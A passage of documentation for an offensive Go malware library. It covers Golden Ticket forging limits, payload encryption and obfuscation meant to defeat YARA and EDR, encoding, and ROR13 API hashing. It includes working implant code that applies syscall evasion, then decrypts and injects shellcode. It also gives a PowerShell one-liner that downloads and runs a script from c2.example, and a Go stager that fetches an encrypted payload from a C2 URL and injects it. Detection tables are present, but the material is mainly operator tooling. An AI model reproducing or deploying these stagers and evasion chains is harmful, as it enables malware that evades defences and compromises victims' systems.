Forgeon a Linux launchpad and only ship the kirbi to the target — the binary size on the Windows host stays minimal.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | full — Forge + Submit | D3-AZET, D3-NTA |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | partial — Submit is the inject side; Forge produces the ticket | D3-NTA |
Limitations
- krbtgt rotation defeats the ticket. AD silently retires forged TGTs after the second rotation — no error, the ticket simply stops decrypting.
- No Diamond / Sapphire variants. This package forges classic Golden Tickets only; Diamond Tickets (modify-don't-forge) and Sapphire Tickets (modify a real TGT's PAC via S4U2Self) are not in scope.
- No Silver Ticket support. Silver Tickets target a service
account's NTLM hash and forge service-specific TGS tickets;
algorithm overlaps but
PrincipalNameand the encryption key are different — separate package. - Submit is per-process, per-LUID. The injected ticket only helps Kerberos calls from this process; child processes inherit the cache but unrelated processes do not.
- PAC structural validation gap (logical only).
Forgedoes not validate the produced PAC against MS-PAC §2 except by checksumming. Hand-crafted group RIDs that don't exist won't be rejected by the package itself — defenders can. The newValidatePACcovers cryptographic signature integrity (server + KDC) but NOT logical field validity (RID plausibility, UNICODE_STRING shape, group-membership coherence). ValidatePACdoes not checkTicketChecksum(type 0x10) orExtendedKDCChecksum(type 0x13). Most golden tickets don't carry them; their inclusion is a 2022+ Kerberos hardening concern out of scope for the currentForgepath. When/if Forge starts emitting them, ValidatePAC must be extended in the same commit.
See also
credentials/sekurlsa— extracts krbtgt hashes from a DC LSASS dump.credentials/lsassdump— produces the LSASS dump consumed by sekurlsa.- Operator path — where Golden Ticket fits in the harvest chain.
- Detection eng path — Kerberos audit signals.
- MS-PAC §2 — public PAC structure spec.
Crypto techniques
The crypto/ package supplies confidentiality and signature-breaking
primitives for payload protection. Two surfaces sit side-by-side: strong
AEAD ciphers for the outer envelope, and lightweight transforms for layered
unpackers and signature defeat.
[!NOTE] Encoding (Base64, UTF-16LE, PowerShell
-EncodedCommand) lives indocs/techniques/encode. Hashing (cryptographic + fuzzy + ROR13) lives indocs/techniques/hash.
TL;DR
flowchart LR
SC[shellcode] -->|EncryptAESGCM| ENV[encrypted envelope]
ENV -->|optional layers| OBF[XTEA / S-Box / Matrix]
OBF --> EMBED[ship in implant]
EMBED -.runtime.-> DEC[DecryptAESGCM]
DEC --> WIPE[memory.SecureZero key]
WIPE --> RUN[inject.Inject]
Build-time: encrypt with AES-256-GCM (or XChaCha20-Poly1305), optionally wrap in 1–2 lightweight obfuscation layers, embed in the implant. Runtime: decrypt → wipe key → inject → wipe plaintext.
Where to start (novice path):
payload-encryption— the only page in this area. Read the "Pick the primitive" 9-row matrix at the top to choose your cipher; read the recommended 3-layer stack diagram for the standard permutation→cipher→AEAD ordering.- After encrypting, pair with
cleanup/memory-wipeto scrub the key + plaintext from memory after use.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
crypto | payload-encryption.md | very-quiet | AEAD (AES-GCM, ChaCha20), stream/block (RC4, TEA, XTEA), signature-breaking transforms (S-Box, Matrix, XOR, ArithShift) |
The package mixes three layers; the technique page documents each layer separately.
For a side-by-side comparison of every primitive (Layer / Speed / Entropy /
Key size / IV / Authenticated / Reversible / Static signature / Best-for),
see the "Pick the primitive"
9-row matrix in payload-encryption.md. The matrix is the canonical place
to make a "which cipher / transform do I reach for?" choice; the decision
tree below is a quick-reference shortcut.
Quick decision tree
| You want to… | Use |
|---|---|
| …encrypt the outer payload envelope | crypto.EncryptAESGCM (preferred) or crypto.EncryptChaCha20 |
| …generate a sane key | crypto.NewAESKey / crypto.NewChaCha20Key |
| …break a YARA byte signature without changing semantics | crypto.NewSBox + SubstituteBytes |
| …add a tiny in-process unpacker stage | crypto.EncryptXTEA |
| …diffuse byte patterns across a block (Hill cipher) | crypto.MatrixTransform |
| …match a legacy Metasploit handler | crypto.EncryptRC4 (cryptographically broken — compatibility only) |
| …compute SHA-256 / MD5 / ROR13 | hash package |
| …Base64 / UTF-16LE / PowerShell-encode | encode package |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | crypto (XOR, TEA, S-Box, Matrix, ArithShift) | D3-SEA (Static Executable Analysis) |
| T1027.013 | Encrypted/Encoded File | crypto (AES-GCM, ChaCha20, RC4) | D3-FCR (File Content Rules) |
See also
- Operator path: payload protection
- Researcher path: cipher choice
- Detection eng path: high-entropy artefacts
encode— transport-safe representations.hash— integrity + fuzzy similarity + ROR13.cleanup/memory.SecureZero— pair to wipe keys after use.
Payload encryption & obfuscation
TL;DR
Three-tier toolkit: AEAD ciphers (AES-GCM, XChaCha20-Poly1305) for the outer envelope; lightweight stream/block ciphers (RC4, TEA, XTEA) for in-process unpackers; signature-breaking permutations (S-Box, Matrix Hill, ArithShift, XOR) to defeat YARA byte patterns. Pure Go, no CGo, cross-platform.
Recommended layer stack:
implant.exe disk bytes
│
├─ Layer 1: signature-breaking permutation (S-Box / XOR)
│ Defeats static YARA on the encrypted blob.
│
├─ Layer 2: lightweight cipher (RC4 / TEA)
│ In-process unpacker — minimal footprint.
│
└─ Layer 3: AEAD outer envelope (AES-GCM)
Authenticated; tampering detection.
Primer — vocabulary
Six terms recur on this page:
AEAD (Authenticated Encryption with Associated Data) — cipher mode that produces both ciphertext AND an authentication tag. Decrypting with the wrong key OR tampered ciphertext fails loudly (tag mismatch). AES-GCM and XChaCha20-Poly1305 are the AEAD modes shipped here. Always use AEAD for the outer envelope so on-disk corruption fails early instead of producing garbage shellcode.
Nonce / IV — single-use bytes that randomise the cipher's output so the same key + plaintext doesn't always produce the same ciphertext. Reusing a nonce with the same key catastrophically breaks security (key recovery for stream ciphers, plaintext recovery for AES-GCM). XChaCha20's 24-byte nonce is large enough that random nonces practically never collide.
Authentication tag — fixed-size value (16 bytes for AES-GCM) appended to the ciphertext. Checked on decryption; any byte flip in the ciphertext makes the tag mismatch.
Stream cipher — produces a keystream of pseudorandom bytes XOR'd with plaintext. RC4 is the canonical example. No authentication; no nonce (just a key). Cheap to implement; never use as outer envelope (no tampering detection).
Permutation — reversible byte rearrangement (S-Box, Matrix Hill, ArithShift) that defeats YARA static rules looking for a known byte pattern. Doesn't add entropy — just shuffles. Pair with a real cipher beneath.
YARA — defender's pattern-matching language. Rules describe byte sequences ("look for
\xE9\x4D\x32\xCB"). Layered permutation + cipher means the disk artefact never matches any byte sequence the implant author or attacker tooling baseline contains.
Pick the primitive
Side-by-side. Pick the row whose tradeoffs match the deployment context, then click through to the API Reference for that function.
| Primitive | Layer | Speed | Entropy profile | Key | Nonce / IV | Authenticated | Reversible | Static signature | Best for |
|---|---|---|---|---|---|---|---|---|---|
| AES-GCM | AEAD outer | fast (AES-NI) | uniform high (256 bits) | 32 B | 12 B random | ✅ tag | yes | low (random) | Default outer envelope; tampering detection mandatory. |
| XChaCha20-Poly1305 | AEAD outer | fast | uniform high | 32 B | 24 B random | ✅ tag | yes | low | AES-NI absent; misuse-resistant nonce (24 B random ≈ unique). |
| AES-CTR raw | Stream (CTR) | fast (AES-NI) | uniform high | 16/24/32 B | 16 B random | ❌ | yes | low | Stage-1 stub decrypts a stage-2 payload that self-validates; saves 16 B AEAD tag + the const-time-compare branch. Pair with HMACSHA256 for integrity. |
| ChaCha20 raw | Stream | fast | uniform high | 32 B | 24 B random | ❌ | yes | low | AES-NI absent + AEAD overhead unwanted. Constant-time across all CPUs (no S-box table lookups). Pair with HMACSHA256. |
| RC4 | Stream | very fast | uniform | 5–256 B | none | ❌ | yes | YARA: keystream bias | Cheap unpacker between layers; never as outer envelope. |
| TEA | Block (64-bit) | very fast | uniform | 16 B | none (ECB) | ❌ | yes | low | Tiny block primitive when binary footprint matters. |
| XTEA | Block (64-bit) | very fast | uniform | 16 B | none (ECB) | ❌ | yes | low | Same as TEA but with corrected key schedule. |
| Speck-128/128 | Block (128-bit) | very fast | uniform | 16 B | none (ECB) | ❌ | yes | low | NSA 2013 ARX cipher; ~30 B/round of x86-64 asm — preferred when stage-1 stub needs a real cipher but can't afford AES's S-box. |
| XOR | Stream | trivial | matches key length | any | implicit | ❌ | yes | YARA: visible key | Dev / scratch only; never alone in production. |
| S-Box (substitute) | Permutation | very fast | uniform when keyed | 256-byte table | none | ❌ | yes (Reverse*) | breaks byte-frequency YARA | Layer between AES-GCM and embed to flatten histograms. |
| Matrix Hill | Permutation | medium (per-row) | uniform | 4×4 / 8×8 matrix | none | ❌ | yes | breaks contiguous-byte YARA | Defeat contiguous-byte signatures; pair with S-Box. |
| ArithShift | Permutation | very fast | non-uniform | 1–4 B | none | ❌ | yes | low | Cheap layer that produces non-uniform entropy — masks an AES blob's "looks-random" tell. |
How to read the matrix:
- Authenticated = does the cipher detect tampering on decrypt? Only the AEAD ciphers do; everything else returns "decrypted" garbage on bit-flips. Always run an AEAD as the outermost layer if integrity matters.
- Static signature = how visible the cipher choice is to a YARA scanner. Permutations break histogram / contiguous-byte rules; AEAD ciphers leave no static fingerprint at all (output is random).
- Speed is qualitative. For multi-MB payloads, prefer AES-GCM (AES-NI) or XChaCha20-Poly1305 — the rest allocate per call.
Composition pattern (build → embed → runtime):
plaintext
↓ EncryptAESGCM(key) [outer AEAD, uniform output]
↓ SubstituteBytes(table) [S-Box: flatten histogram]
↓ MatrixTransform(M) [break contiguous bytes]
↓ ArithShift(k) [non-uniform entropy mask]
ciphertext bytes embedded into the implant
Reverse on the runtime side: ReverseArithShift →
ReverseMatrixTransform → ReverseSubstituteBytes →
DecryptAESGCM. Always wipe the key buffer with
memory.SecureZero immediately after DecryptAESGCM returns.
Performance reference
Measured on x86_64 (Linux, AMD-NI / SHA-NI available), 64 KiB
plaintext, go test -bench median of 3 runs (numbers move ±5 %
across runs / hosts; pick on shape, not exact MB/s):
| Primitive | Throughput | Allocs/op | Comment |
|---|---|---|---|
| AES-GCM | ~860 MB/s | 4 | AES-NI accelerated; outer envelope of choice on AES-NI-capable hosts. |
| HMAC-SHA256 (tag) | ~790 MB/s | 6 | SHA-NI accelerated; integrity layer for raw-stream ciphers. |
| AES-CTR | ~680 MB/s | 3 | AES-NI without GCM tag — saves 16 B + the const-time-compare branch. |
| ChaCha20-Poly1305 | ~590 MB/s | 2 | AEAD; preferred when AES-NI absent. |
| ChaCha20 raw | ~280 MB/s | 1 | Strip Poly1305 when stage-2 self-validates. |
| RC4 | ~260 MB/s | 2 | Stream; fast initialization. Defender-friendly bias. |
| XOR (repeating key) | ~170 MB/s | 1 | Allocator-bound; trivial cipher. |
| Speck-128/128 | ~130 MB/s | 2 | Pure-Go ARX; ~30 B asm/round — preferred lightweight block primitive when AES is too heavy. |
| TEA / XTEA | ~40 MB/s | 2 | 8-byte block (more rounds per byte vs 16-byte block ciphers). |
| Argon2id (default params) | ~93 ms / call | 40 | Build-host KDF, NOT a per-byte primitive — single call per pack. |
Bench source: crypto/cipher_benchmarks_test.go. Reproduce with:
go test -bench=. -benchmem -run='^$' ./crypto/
Reading the table:
- If you have AES-NI on the target, AES-GCM is the right outer envelope. The throughput already accounts for the GCM tag computation.
- Without AES-NI, ChaCha20-Poly1305 is the AEAD pick — it's constant-time across all CPUs.
- If you're sizing a stage-1 stub and AES is too much (no AES-NI, 256-byte S-box budget), Speck-128/128 is the right pick. 3 × faster than TEA/XTEA and a 16-byte block matches AES.
- If your stage-2 self-validates, drop the AEAD tag: AES-CTR or ChaCha20 raw paired with HMAC-SHA256 is ~10 % faster than the AEAD equivalent on the same host AND saves 16 B per blob.
Primer
Static signatures are the cheapest defender win. A raw shellcode buffer
sitting in a binary's .data section gets matched by a four-byte YARA
rule before it ever runs. Encryption breaks that match by replacing the
plaintext with high-entropy gibberish derivable only with the key.
The crypto package layers three protection levels. The outer
envelope uses an authenticated cipher (AEAD) — anything else risks an
attacker tampering with the ciphertext to redirect execution. The
stream/block layer is for tiny in-process unpackers where AES-GCM is
overkill but a passable cipher is still wanted. The transform layer
mutates byte distribution without giving cryptographic confidentiality —
useful when the goal is breaking signatures rather than hiding intent.
The package is pure Go, has no CGo dependencies, cross-compiles to Linux/Windows/macOS targets, and avoids syscalls entirely (every operation is a constant-time arithmetic transform on a buffer).
How it works
flowchart LR
SC[raw shellcode] -->|build time| ENC[crypto.EncryptAESGCM]
ENC --> STAGE1[ciphertext + nonce]
STAGE1 -.optional.-> WRAP[crypto.EncryptXTEA + SubstituteBytes]
WRAP --> EMBED["go:embed in implant"]
EMBED -->|runtime| LOAD[load embedded blob]
LOAD --> UNWRAP1[ReverseSubstituteBytes + DecryptXTEA]
UNWRAP1 --> DEC[crypto.DecryptAESGCM]
DEC --> WIPE_K[memory.SecureZero AES key]
WIPE_K --> EXEC[inject.Inject]
EXEC --> WIPE_P[memory.SecureZero plaintext]
Build-time: encrypt with AEAD, optionally wrap in cheaper layers.
Runtime: peel layers in reverse, wipe the key the moment the AEAD Open
returns, inject, wipe the plaintext.
AES-GCM internals
sequenceDiagram
participant App as "Implant"
participant Pkg as "crypto"
participant Std as "crypto/aes + cipher"
App->>Pkg: EncryptAESGCM(key, plaintext)
Pkg->>Std: aes.NewCipher(key) -- 32 bytes
Pkg->>Std: cipher.NewGCM(block)
Pkg->>Std: rand.Read(nonce) -- 12 bytes
Pkg->>Std: gcm.Seal(nonce, nonce, plaintext, nil)
Std-->>Pkg: nonce ++ ciphertext ++ tag
Pkg-->>App: combined output
App->>Pkg: DecryptAESGCM(key, combined)
Pkg->>Pkg: nonce = first 12 bytes of combined
Pkg->>Std: gcm.Open(nil, nonce, rest, nil)
Note over Std: Verifies the 16-byte tag<br>before returning plaintext
Std-->>Pkg: plaintext or ErrAuthFailed
Pkg-->>App: plaintext
The 12-byte random nonce is prepended to the output, so callers do not manage nonces. Re-encrypting the same plaintext yields a different ciphertext every time.
TEA / XTEA round equation
64 rounds, 32-bit half-blocks, 128-bit key:
$$ \begin{aligned} \text{sum} &\mathrel{+}= \delta \ v_0 &\mathrel{+}= ((v_1 \ll 4) + k_0) \oplus (v_1 + \text{sum}) \oplus ((v_1 \gg 5) + k_1) \ v_1 &\mathrel{+}= ((v_0 \ll 4) + k_2) \oplus (v_0 + \text{sum}) \oplus ((v_0 \gg 5) + k_3) \end{aligned} $$
with $\delta = \texttt{0x9E3779B9}$ (golden ratio constant). XTEA fixes TEA's equivalent-key weakness by mixing the round counter into the key schedule, but the structure is the same.
Matrix (Hill cipher mod 256)
For an $n \times n$ key matrix $K$ over $\mathbb{Z}_{256}$ with $\gcd(\det K, 256) = 1$, encryption operates per $n$-byte block $\vec{p}$:
$$ \vec{c} = K \vec{p} \mod 256 $$
NewMatrixKey(n) searches random matrices until one is invertible mod
256. The inverse is precomputed and returned alongside.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/crypto is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
key, _ := crypto.NewAESKey()
ct, _ := crypto.EncryptAESGCM(key, []byte("shellcode goes here"))
pt, _ := crypto.DecryptAESGCM(key, ct)
See ExampleEncryptAESGCM and ExampleEncryptChaCha20 in
crypto_example_test.go for
runnable variants.
Composed (with cleanup/memory for key wiping)
Decrypt the embedded blob, wipe the key the moment Open returns, run
the payload, wipe the plaintext:
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
)
shellcode, err := crypto.DecryptAESGCM(aesKey, encryptedPayload)
if err != nil {
return err
}
memory.SecureZero(aesKey)
// ... use shellcode ...
memory.SecureZero(shellcode)
Advanced (XTEA + S-Box layered packer)
A two-stage in-process unpacker. The outer S-Box defeats YARA rules that look at byte distribution; the inner XTEA round destroys whatever structure leaks through.
import "github.com/oioio-space/maldev/crypto"
// Build time
var xteaKey [16]byte
_, _ = crypto.NewSBox() // warm CSPRNG
sbox, inv, _ := crypto.NewSBox()
copy(xteaKey[:], aesKeyMaterial[:16])
stage1, _ := crypto.EncryptXTEA(xteaKey, shellcode)
packed := crypto.SubstituteBytes(stage1, sbox)
// Embed `packed` + `xteaKey` + `inv` in the implant.
// Runtime
unsbox := crypto.ReverseSubstituteBytes(packed, inv)
orig, _ := crypto.DecryptXTEA(xteaKey, unsbox)
Complex (full encrypt → evade → inject → wipe chain)
End-to-end implant body. Apply syscall evasion first, decrypt the payload, wipe the key, inject through an indirect-syscall caller, wipe the plaintext.
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
var (
encrypted []byte // //go:embed payload.aes
aesKey []byte // //go:embed key.bin
)
func run() error {
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil {
return err
}
memory.SecureZero(aesKey)
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil {
return err
}
if err := inj.Inject(shellcode); err != nil {
return err
}
memory.SecureZero(shellcode)
return nil
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
High-entropy .data / .rdata section | Compile-time YARA entropy >= 7.5, ML classifiers (PE byte histograms) |
| Decrypt routine signature | Static unpacker fingerprints (e.g. aes.NewCipher followed by cipher.NewGCM from a non-go-tooling-built binary) |
| Plaintext shellcode in process memory after decrypt | EDR memory scans (Defender's AMSI-like for native code, MDE Live Response) |
| Long-lived AES key in heap | YARA scanning of process RWX/RW pages — wipe immediately after Open |
D3FEND counters:
- D3-SEA — static executable analysis defeats high-entropy sections via unpacker emulation.
- D3-PSA — process-spawn analysis catches decrypt-then-execute patterns.
- D3-FCR —
YARA over
.dataafter unpacker emulation.
Hardening: wipe keys before injection (cleanup/memory.SecureZero);
chunk decryption + injection across cache lines so plaintext does not
sit in RWX longer than a few microseconds; pair with sleep-masking
(evasion/sleepmask) for long-running implants.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | obfuscation transforms (XOR, TEA, S-Box, Matrix, ArithShift) | D3-SEA |
| T1027.013 | Encrypted/Encoded File | AEAD ciphers (AES-GCM, ChaCha20) and stream cipher (RC4) | D3-FCR |
Limitations
- Key distribution unsolved. This package does not embed, derive, fetch, or rotate keys — it ciphers buffers. A real implant must source the key from somewhere (build-time embed, environment, C2 fetch). The weakest link in any payload-encryption design.
- Entropy is detectable. A 200 KB high-entropy section in a Go
binary is suspicious by itself. Layer with non-uniform transforms
(
ArithShift) or split into multiple sections for cover. - Ephemeral plaintext still touchable. Between decrypt and
Inject, the plaintext lives on the Go heap. EDR memory scans (Defender, CrowdStrike) sweep RW pages — wipe the buffer before the next syscall, not after. Usecrypto.UseDecrypted(decrypt, fn)— the helper runs decrypt, calls fn with the plaintext, and zeroes the buffer via defer (so the wipe still runs when fn errors or panics). Or callcrypto.Wipe(plaintext)manually for cases that don't fit the closure shape. - Streaming AEAD only for AES-GCM and XChaCha20-Poly1305. The
NewAESGCMWriter/NewChaCha20Writerfamily handles multi-MB / multi-GB payloads with bounded memory (64 KiB peak) and per-frame tampering detection. The other primitives (EncryptRC4,XOR,TEA,XTEA,MatrixTransform,SubstituteBytes,ArithShift) still take the whole buffer in one call — for multi-MB use, layer a streaming AEAD on top (AES-GCM stream → XOR/MatrixTransform inside the chunkis the canonical hardening pattern). - Streaming framing is on the wire. Both the chunk size (64 KiB) and the framing layout (4-byte header + sealed bytes) are deterministic and not key-derived — a defender who knows the package can recognise the framing on a captured stream. The framing carries no plaintext metadata, but its presence may fingerprint maldev itself.
- RC4 broken. Compatibility-only; do not use as the outer envelope.
- TEA equivalent keys. Three keys decrypt to the same plaintext; prefer XTEA.
See also
encode— transport-safe representations to wrap the ciphertext for HTTP / PowerShell / JSON channels.hash— integrity, ROR13 API hashing, fuzzy similarity for variant detection.cleanup/memory.SecureZero— pair to wipe keys and plaintext.evasion/sleepmask— re-encrypt the payload during sleep windows.- Bernstein, ChaCha, a variant of Salsa20 — XChaCha20-Poly1305 source paper.
- NIST SP 800-38D — GCM specification.
Encode techniques
The encode/ package provides transport-safe byte transformations:
Base64 (standard + URL-safe), UTF-16LE, ROT13, and the
PowerShell -EncodedCommand format. Encoding is never confidentiality —
it survives channels that mangle arbitrary bytes (HTTP headers, JSON
strings, PowerShell command lines, stdin pipes).
TL;DR
Encrypt first, then encode. Decode last, then decrypt.
Where to start (novice path):
Single-page area. Read
encodeend-to-end (~5 min) and consult the Quick decision tree below to pick the right encoder per channel. Pair withcryptofor the encrypt-then-encode pattern shown in the mermaid above.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
encode | encode.md | very-quiet | Base64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand |
Quick decision tree
| You want to… | Use |
|---|---|
| …embed a binary blob in Go source / JSON / HTTP header | encode.Base64Encode |
| …pass a payload through a URL or filename | encode.Base64URLEncode |
| …feed a Windows API that takes UTF-16 LPWSTR | encode.ToUTF16LE |
…run a PowerShell script via -EncodedCommand | encode.PowerShell |
| …break a static string signature on Win32 API names | encode.ROT13 (novelty) |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | encode (PowerShell, Base64) | D3-SEA |
| T1027.013 | Encrypted/Encoded File | encode (Base64 wrapper for ciphertext) | D3-FCR |
| T1140 | Deobfuscate/Decode Files or Information | encode.Base64Decode, encode.Base64URLDecode | D3-FCR |
See also
crypto— confidentiality layer (encrypt before encoding).- Operator path: stagers and encoders
- Detection eng path:
-EncodedCommandhunting
Encode
TL;DR
Transport-safe byte transforms: Base64 (RFC 4648 §4 + §5), UTF-16LE,
ROT13, and PowerShell -EncodedCommand (Base64(UTF-16LE(script))).
Pure functions, no system interaction, cross-platform.
| You want to send bytes through… | Use | Notes |
|---|---|---|
| HTTP body / JSON string / Go source const | Base64Encode | Standard alphabet (+/) |
| URL path / filename / cookie | Base64URLEncode | URL-safe alphabet (-_) |
Windows API expecting LPWSTR | ToUTF16LE | Pair with windows.UTF16PtrFromString for direct ABI use |
powershell.exe -EncodedCommand | PowerShell | Auto-wraps: Base64(UTF-16LE(script)) |
| Defeat plaintext-string YARA on Win32 names | ROT13 | Novelty cover; not real encoding |
What this DOES achieve:
- Survives byte-mangling channels (HTTP, JSON, command line).
- One-call helpers — no manual base64 + UTF-16 chaining.
What this does NOT achieve:
- Encoding ≠ encryption — Base64 is reversible without a
key. Always encrypt first, encode last (see
cryptorecommended stack diagram). - Doesn't bypass Defender's
-EncodedCommandheuristic — Defender flags long Base64 strings on PowerShell command lines regardless of content. The technique is for transport cover, not detection cover.
Primer
Encoding solves a different problem from encryption. Many channels
cannot transport arbitrary bytes: HTTP headers reject control characters,
URLs reject + and /, JSON strings reject zero bytes, command lines
on Windows expect UTF-16, and powershell.exe -EncodedCommand accepts
only Base64-of-UTF-16LE.
encode covers each of those representations with a one-line API. It is
not a security boundary — Base64 is reversible by anyone who reads the
output. The pattern in this codebase is encrypt with crypto, then
encode for the wire: confidentiality from the cipher, transportability
from the encoding.
The package has no Windows-specific code (despite UTF-16LE being Windows' native string format) and cross-compiles cleanly to every Go target.
How it works
flowchart LR
subgraph build [Build / Encode]
PT[plaintext] --> ENC[crypto.EncryptAESGCM]
ENC --> CT[ciphertext]
CT --> B64[encode.Base64Encode]
end
subgraph wire [Channel]
B64 --> JSON[JSON / HTTP header / URL / PS arg]
end
subgraph runtime [Runtime / Decode]
JSON --> B64D[encode.Base64Decode]
B64D --> CT2[ciphertext]
CT2 --> DEC[crypto.DecryptAESGCM]
DEC --> RUN[plaintext for inject]
end
PowerShell(script) is a convenience wrapper:
Base64Encode(ToUTF16LE(script)) — exactly what powershell.exe -EncodedCommand parses.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/encode is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
encoded := encode.Base64Encode([]byte("hello"))
decoded, _ := encode.Base64Decode(encoded)
See ExampleBase64Encode, ExamplePowerShell, ExampleToUTF16LE in
encode_example_test.go.
Composed (crypto + encode for HTTP transport)
Encrypt first, then encode for the wire:
import (
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/encode"
)
key, _ := crypto.NewAESKey()
ct, _ := crypto.EncryptAESGCM(key, rawShellcode)
wire := encode.Base64Encode(ct)
// transport `wire` over HTTP / JSON / etc.
// Receiver:
ct2, _ := encode.Base64Decode(wire)
pt, _ := crypto.DecryptAESGCM(key, ct2)
Advanced (PowerShell stager)
Generate a one-liner that downloads and executes a remote script:
script := `IEX (New-Object Net.WebClient).DownloadString('https://c2.example/s')`
arg := encode.PowerShell(script)
// powershell.exe -NoProfile -EncodedCommand <arg>
Complex (encode + crypto + transport)
End-to-end stager that pulls an encrypted payload from C2, decodes, decrypts, injects:
import (
"io"
"net/http"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/encode"
"github.com/oioio-space/maldev/inject"
)
func stage(c2URL string, key []byte) error {
resp, err := http.Get(c2URL)
if err != nil { return err }
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil { return err }
ct, err := encode.Base64URLDecode(string(body))
if err != nil { return err }
shellcode, err := crypto.DecryptAESGCM(key, ct)
if err != nil { return err }
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
})
if err != nil { return err }
return inj.Inject(shellcode)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Long Base64 string passed to powershell.exe -EncodedCommand | Sysmon Event 1 (Process Create) command-line scanning, AMSI |
| Base64 string > 1 KB in HTTP request body | Network DLP, Suricata entropy rules |
| UTF-16LE blob in a text-typed channel | Anomaly: text channels normally see UTF-8 |
IEX (New-Object Net.WebClient).DownloadString(...) after Base64 decode | Sysmon Event 4104 (PowerShell ScriptBlockLogging) |
D3FEND counters:
- D3-SEA — static executable / script analysis.
- D3-FCR — YARA / regex on decoded content.
- D3-NTPM
— block outbound
IEX+Base64 patterns at the proxy.
Hardening: chunk long Base64 across multiple requests; randomise field order; pad with realistic noise tokens before encoding.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | PowerShell -EncodedCommand wrapper, Base64 wrappers | D3-SEA |
| T1027.013 | Encrypted/Encoded File | Base64 envelope around encrypted payload | D3-FCR |
| T1140 | Deobfuscate/Decode Files or Information | Base64Decode, Base64URLDecode | D3-FCR |
Limitations
- Encoding is not encryption. Base64 is trivially reversible. Always encrypt before encoding for non-public payloads.
- Entropy spike on the wire. Long Base64 strings are visible to network DLP. Chunk into multiple requests, or use a more selective steganographic carrier.
- Command-line length cap.
powershell.exe -EncodedCommandaccepts ~32 KB of Base64. Larger stagers must download then execute, not embed inline. - UTF-16LE assumes BMP. Supplementary-plane code points (emoji, CJK extensions) get surrogate pairs — fine for PowerShell but surprises any consumer expecting fixed two-byte units.
See also
crypto— pair to encrypt before encoding.hash— fingerprinting and ROR13 API hashing.- Microsoft Docs: PowerShell
-EncodedCommand
Hash techniques
The hash/ package supplies three families of hashing primitives:
cryptographic (MD5, SHA-1, SHA-256, SHA-512) for integrity and
identifiers, API hashing (ROR13 + ROR13Module) for shellcode-style
plaintext-free function resolution, and fuzzy hashing (ssdeep, TLSH)
for variant detection and similarity scoring.
TL;DR
Where to start (novice path):
- Need to fingerprint a buffer? →
SHA256(cryptographic-hashes.md). Standard integrity hash.- Need to resolve Win32 APIs by hash (no plaintext name in the binary)? →
ROR13+ROR13Module. Pair withsyscalls/api-hashingfor the runtime resolution side.- Need to score similarity between samples (variant detection, morph verification)? →
fuzzy-hashing— ssdeep + TLSH.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
hash | cryptographic-hashes.md · fuzzy-hashing.md | very-quiet | MD5/SHA-* (integrity), ROR13 (API hashing), ssdeep + TLSH (similarity) |
Quick decision tree
| You want to… | Use |
|---|---|
| …identify a payload by content | hash.SHA256 |
| …compute a Windows API name hash for a shellcode resolver | hash.ROR13 |
| …compute a module-name hash matching PEB-walk shellcode | hash.ROR13Module |
| …score similarity between two samples (variant detection) | hash.SsdeepCompare or hash.TLSHCompare |
| …screen a directory of suspicious binaries against a known-bad seed | see Advanced example |
MITRE ATT&CK
The hash package itself is utility. It is referenced from techniques that consume it:
| Used by | Why |
|---|---|
win/api.ResolveByHash | Plaintext-free Win32 API resolution (T1027.007) |
| Researcher / hunter workflows | Variant detection, signature defeat measurement |
pe/morph | Build-time fingerprint shifting; pair with fuzzy hashing to verify the morph kept the family intact |
See also
- API hashing — dedicated tech page on the shellcode-style ROR13 use case.
crypto— confidentiality layer (hashis often used to derive integrity checks alongside).- Researcher path: fuzzy hashing for variant tracking
Cryptographic hashes & ROR13
TL;DR
Two distinct use cases under one roof:
| You want to… | Use | Output |
|---|---|---|
| Fingerprint a buffer (integrity, identifier) | SHA256, SHA512, MD5, SHA1 | hex string |
| Compute a Win32 API name hash for a shellcode resolver | ROR13 | uint32 — match against pe/imports.List outputs |
| Compute a module-name hash matching PEB-walk shellcode | ROR13Module | uint32 — pre-uppercased + UTF-16LE per shellcode convention |
What this DOES achieve:
- One-shot calls —
hash.SHA256(data)returns the hex string directly. Nohex.EncodeToString(h.Sum(nil))chaining. - ROR13 matches the canonical shellcode algorithm — your pre-computed constants work with public reflective loaders.
What this does NOT achieve:
